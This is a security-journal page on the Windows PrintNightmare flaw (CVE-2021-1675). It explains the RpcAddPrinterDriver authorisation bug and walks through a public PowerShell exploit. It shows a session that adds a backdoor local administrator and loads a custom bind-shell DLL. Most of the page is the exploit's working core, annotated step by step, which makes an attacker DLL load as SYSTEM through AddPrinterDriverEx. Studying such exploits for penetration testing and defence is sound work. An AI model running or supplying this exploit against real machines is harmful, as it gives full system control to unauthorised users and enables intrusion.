> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/when-userland-isnt-enough-kernel-exploits/cve-2021-1675-printnightmare.md).

# CVE-2021-1675 \[PrintNightmare]

## **What is PrintNightmare?**

There was a flaw in [RpcAddPrinterDriver](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/f23a7519-1c77-4069-9ace-a6d8eae47c22) which is used to allow for remote printing and driver installation.&#x20;

> RpcAddPrinterDriver installs a [printer driver](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/831cd729-be7c-451e-b729-bd8d84ce4d24#gt_1a48eebd-e72c-494d-b8cb-84dfb7bc3b65) on the [print server](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/831cd729-be7c-451e-b729-bd8d84ce4d24#gt_59fb3ddc-63cf-45df-8a90-46a6af9e00cb) and links the configuration, data, and printer driver files.

This function is intended to give users with the Windows privilege `SeLoadDriverPrivilege` the ability to add drivers to a remote Print Spooler. The flaw allowed ANY authenticated user the ability to add a print driver remotely without the `SeLoadDriverPrivilege`.&#x20;

The following [PoC](https://github.com/cube0x0/CVE-2021-1675) from cube0x0 can escalate your privileges via a modified version of Impacket and their python script.

There's also a Powershell [PoC](https://github.com/calebstewart/CVE-2021-1675) from Caleb Stewart and John Hammond.&#x20;

{% code title="Escalating privileges via powershell PoC" %}

```powershell
PS> ls \\localhost\pipe\spoolss # checking for spooler service

    Directory: \\localhost\pipe


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
                                                  spoolss
                                                  
# Note that if the following registry values are seen, the machine is patched.                                          
PS> REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1
    
PS> Set-ExecutionPolicy Bypass -Scope Process
PS> Import-Module .\CVE-2021-1675.ps1
# Add a new administrator
PS> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
# Execute your own custom DLL
PS> Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"

```

{% endcode %}

Let's take a look at the Powershell PoC to demystify what's going on. Remember that the overall vulnerability is that Windows fails to check whether the caller should be allowed to install print drivers. As a result, the authenticated user can specify a malicious DLL as a "driver", allowing the spooler service to load it and execute as `SYSTEM`. I've added a bunch of comments into this explaining each step of the way.

```powershell
# Creates a temporary in-memory .NET assembly used to host P/Invoke method definitions and 
# structs. This avoids writing any helper DLLs to disk
$Mod = New-InMemoryModule -ModuleName "A$(Get-Random)"

# Declares two real Windows API functions from winspool.drv
$FunctionDefinitions = @(
# Used to install a new printer driver (the vulnerable API), runs inside spoolsv.exe as SYSTEM
  (func winspool.drv AddPrinterDriverEx ([bool]) @([string], [Uint32], [IntPtr], [Uint32]) -Charset Auto -SetLastError),
# EnumPrinterDrivers is used to query installed printer drivers and retrieve legitimate driver paths already trusted by the system.
  (func winspool.drv EnumPrinterDrivers([bool]) @( [string], [string], [Uint32], [IntPtr], [UInt32], [Uint32].MakeByRefType(), [Uint32].MakeByRefType()) -Charset Auto -SetLastError)
)

# Registers those APIs into PowerShell to allow us to call them
## e.g. $winspool::EnumPrinterDrivers
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Mod'

# Define custom structures for types created
$DRIVER_INFO_2 = struct $Mod DRIVER_INFO_2 @{
    cVersion = field 0 Uint64;
    pName = field 1 string -MarshalAs @("LPTStr");
    pEnvironment = field 2 string -MarshalAs @("LPTStr");
    ## A trusted driver binary
    pDriverPath = field 3 string -MarshalAs @("LPTStr");
    ## Passive data
    pDataFile = field 4 string -MarshalAs @("LPTStr");
    ## Config UI DLLs
    pConfigFile = field 5 string -MarshalAs @("LPTStr");
}

$winspool = $Types['winspool.drv']
$APD_COPY_ALL_FILES = 0x00000004

[Uint32]($cbNeeded) = 0
[Uint32]($cReturned) = 0

# First call is to populate cbNeeded with the size of the driver list
if ( $winspool::EnumPrinterDrivers($null, "Windows x64", 2, [IntPtr]::Zero, 0, [ref]$cbNeeded, [ref]$cReturned) ){
    Write-Host "[!] EnumPrinterDrivers should fail!"
    return
}

# Allocates exactly enough memory to hold the driver list.
[IntPtr]$pAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([Uint32]($cbNeeded))
# Enumerate printer drivers again but with cbNeeded as the proper size of the driver list.
# cReturned will be the number of items in the list. 
# pAddr will be populated with a contiguous array of DRIVER_INFO_2 structures
if ( $winspool::EnumPrinterDrivers($null, "Windows x64", 2, $pAddr, $cbNeeded, [ref]$cbNeeded, [ref]$cReturned) ){
    # Converts the pointer into the driver list structure
    $driver = [System.Runtime.InteropServices.Marshal]::PtrToStructure($pAddr, [System.Type]$DRIVER_INFO_2)
} else {
    Write-Host "[!] failed to get current driver list"
    [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr)
    return
}
# Free the list because we now have it in $driver
Write-Host "[+] using pDriverPath = `"$($driver.pDriverPath)`""
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr)

# We can then form a call to AddPrinterDriverEx by creating the necessary 
# input datatype using the driver info we obtained from EnumPrinterDrivers,
## pConfigFile: is a UI helper DLL (printer preferences dialog)
## pDataFile: supporting data (resources, firmware blobs, etc.)
#
# The Spooler will copy the files referenced by pDriverPath, pConfigFile, and pDataFile
# into the spooler driver directory, loads them as DLLs w/ LoadLibrary, and initializes
# the driver
$driver_info = New-Object $DRIVER_INFO_2
$driver_info.cVersion = 3
$driver_info.pConfigFile = $DLL
$driver_info.pDataFile = $DLL
$driver_info.pDriverPath = $driver.pDriverPath
$driver_info.pEnvironment = "Windows x64"
$driver_info.pName = $DriverName

# Allocate enough space for the DriverInfo parameter, and then convert our 
# datastructure to a pointer to be passed into AddPrinterDriverEx
$pDriverInfo = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($driver_info))
[System.Runtime.InteropServices.Marshal]::StructureToPtr($driver_info, $pDriverInfo, $false)

if ( $winspool::AddPrinterDriverEx($null, 2, $pDriverInfo, $APD_COPY_ALL_FILES -bor 0x10 -bor 0x8000) ) {
    if ( $delete_me ) {
        Write-Host "[+] added user $NewUser as local administrator"
    } else {
        Write-Host "[+] driver appears to have been loaded!"
    }
} else {
    Write-Error "[!] AddPrinterDriverEx failed"
}

if ( $delete_me ) {
    Write-Host "[+] deleting payload from $DLL"
    Remove-Item -Force $DLL
}
```
